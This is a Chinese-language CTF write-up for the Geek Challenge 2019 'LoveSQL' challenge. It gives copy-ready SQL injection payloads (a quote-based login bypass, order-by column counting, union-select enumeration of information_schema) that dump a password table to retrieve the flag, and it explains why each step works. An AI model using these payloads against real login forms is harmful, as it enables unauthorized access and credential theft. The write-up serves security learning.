极客大挑战2019-LoveSQL

这是一道无过滤单引号字符型 SQL 注入 ,核心用联合查询脱库拿 flag,全程手工可通,无需工具。


一、核心解题思路

  1. 登录框→优先测 SQL 注入,用单引号判断字符型注入
  2. 万能密码绕过登录,确认注入可用
  3. order by判断查询字段数
  4. 联合查询查库→查表→查字段→查数据
  5. 目标表l0ve1ysq1的password字段存 flag

二、完整操作步骤(直接复制 Payload)

1. 判断注入点(单引号字符型)

  • 用户名:admin'
  • 密码:123
  • 现象:报SQL 语法错误 ,确认是单引号闭合的字符型注入

2. 万能密码登录绕过

  • 用户名:' or 1=1 #
  • 密码:123
  • 结果:Login Success! Hello admin!,登录成功

3. 判断字段数(order by)

依次试:

  • a' order by 1 -- a
  • a' order by 2 -- a
  • a' order by 3 -- a
  • a' order by 4 -- a
  • 到 4 时报错:Unknown column '4'→字段数 = 3

4. 查当前数据库

  • 用户名:a' union select 1,database(),3 -- a
  • 密码:111
  • 得到:geek

5. 查数据库里的表

  • 用户名:

    a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- a

  • 得到表:geekuser、l0ve1ysq1(flag 在 l0ve1ysq1)

6. 查 l0ve1ysq1 表的字段

  • 用户名:

    a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'),3 -- a

  • 得到字段:id、username、password

7. 查 password 字段拿 flag

  • 用户名:

    a' union select 1,(select group_concat(password) from l0ve1ysq1),3 -- a

  • 页面 / 源码中得到:flag{a8c4dfbe30b89a18346f305e2152b702}


三、关键原理(为什么这么做)

  1. 单引号闭合 :原语句类似 select * from user where username='$name'输入a' or true -- a→变成:select * from user where username='a' or true -- a'条件恒真,登录绕过
  2. 联合查询 :union select拼接查询,用2、3位回显数据
  3. information_schema:MySQL 系统库,存所有库、表、字段信息
  4. group_concat:把多行结果拼成一行,方便页面显示
相关推荐
呆萌很9 分钟前
数据库逻辑结构设计
数据库
howdoyoudo20260618 分钟前
当新案例冲击旧框架:分类系统的宿命与修正路径
大数据·网络·数据库·人工智能·安全·ai·分类
自己的九又四分之三站台24 分钟前
GeoPackage 到底适合什么场景:从 SQLite 容器到空间数据格式选型
数据库·oracle·sqlite
东方护航数据恢复(深圳)29 分钟前
勒索病毒加密数据库怎么办?深圳 0 赎金解密恢复实录【东方护航数据恢复深圳店】
数据库·数据恢复·服务器数据恢复·勒索病毒·数据镜像
倔强的石头_31 分钟前
应用账号最小权限实践:读写账号、报表账号、运维账号分层
数据库
苦瓜打怪兽35 分钟前
PostgreSQL 报错“字段 datlastsysoid 不存在”排查与解决
数据库·postgresql
XLYcmy1 小时前
PDF 论文处理器 — 技术报告文档
数据库·python·网络安全·pdf·embedding·dify·rag
ShineWinsu1 小时前
对于Redis:RDB持久化的解析
linux·数据库·redis·缓存·面试·持久化·rdb
做运维的阿瑞1 小时前
MYSQL从语义到执行计划:UNION、EXISTS、IN 的深度辨析
数据库·sql·mysql
Elastic 中国社区官方博客11 小时前
将你自己的密钥用于现有 Elastic Cloud 部署
大数据·数据库·elasticsearch·全文检索